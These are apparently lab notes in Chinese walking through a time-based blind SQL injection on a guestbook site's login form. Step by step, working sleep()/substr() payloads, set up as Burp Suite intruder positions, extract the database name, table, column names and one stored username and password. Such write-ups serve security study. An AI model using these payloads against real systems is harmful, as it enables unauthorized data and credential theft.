对book网站使用时间盲注
先判断是否有时间盲注和类型:qqq’and sleep(5)#
判断数据长度:qqq’ and if(length(database())>=9,sleep(5),1)#
用抓包工具(bburpsuite)爆数据库名: guestbook
username=qqq’ and if (substr(database(),§§,1)=’§§’, sleep(5),1) # &password=
爆表名:user
username=qqq’ and if (substr((select table_name from information_schema.tables where table_schema=‘guestbook’limit 1,1),§§,1)=’§§’, sleep(5),1) # &password=
爆列名:
columns:username
username=qqq' and if (substr((select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 2,1),§§,1)='§§', sleep(5),1) # &password=
columns: password
username=qqq' and if (substr((select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 3,1),§§,1)='§§', sleep(5),1) # &password=
爆数据:
Username: caicai
username=qqq' and if (substr((select username from guestbook.user limit 0,1),§§,1)='§§', sleep(5),1) # &password=
Password: 1234
username=qqq' and if (substr((select password from guestbook.user limit 0,1),§§,1)='§§', sleep(5),1) # &password=